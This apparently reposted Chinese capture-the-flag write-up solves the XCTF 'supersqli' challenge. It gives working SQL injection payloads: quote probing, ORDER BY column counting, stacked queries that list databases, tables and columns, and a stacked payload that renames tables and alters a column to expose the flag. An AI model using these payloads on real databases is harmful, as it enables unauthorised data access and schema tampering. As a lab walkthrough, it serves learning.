XCTF supersqli

一.看题目应该是和sql注入有关

  1.进入实验环境,发现是一个输入框,尝试判断一下是否存在sql注入, 输入  '

  

   根据报错信息可以知道存在sql注入,然后常规的操作,判断查询的字段数目  '  order by 2 #  ,页面显示正常

  当 '  order by 3# 时,发现报错,由此判断查询的字段数为2.

  

  通过union 联合查询看能不能捞到点有用的信息, ' union select version(),1 #  ,根据结果的显示,后端应该把关键词都给过滤掉了

  那我们试一试能不能堆叠注入   1' ;show databases; #    来查询全部的数据库

  

  发现执行成功,再来查询所有的表名  ,   1';show tables;#

  

   根据返回的结果我们发现1919810931114514表很可疑。

  为了证明我们的猜想,尝试去看看这个表的存在哪些字段

  通过  1'; show columns from   `1919810931114514` ;#    这里的表名为数字 ,我们要用反引号 即上面数字键盘1的左边一个

 

   看到flag我们就肯定flag就在这个表里面,现在就是要查询出来。

   这里只有两个表,我们输入1查询出来的结果应该来自words表里,我们又可以通过1' or 1=1#,

  查出这个表中的所有信息,所以这里的思路就是通过把  1919810931114514  表名改为 words

  然后就可以查询这个表的全部信息。

  ';rename tables words to words1;rename tables `1919810931114514` to words; alter table words  change flag id varchar(100);#

  在通过1' or 1=1#,得出flag。

  

  

猜你喜欢

转载自www.cnblogs.com/darklee/p/12626030.html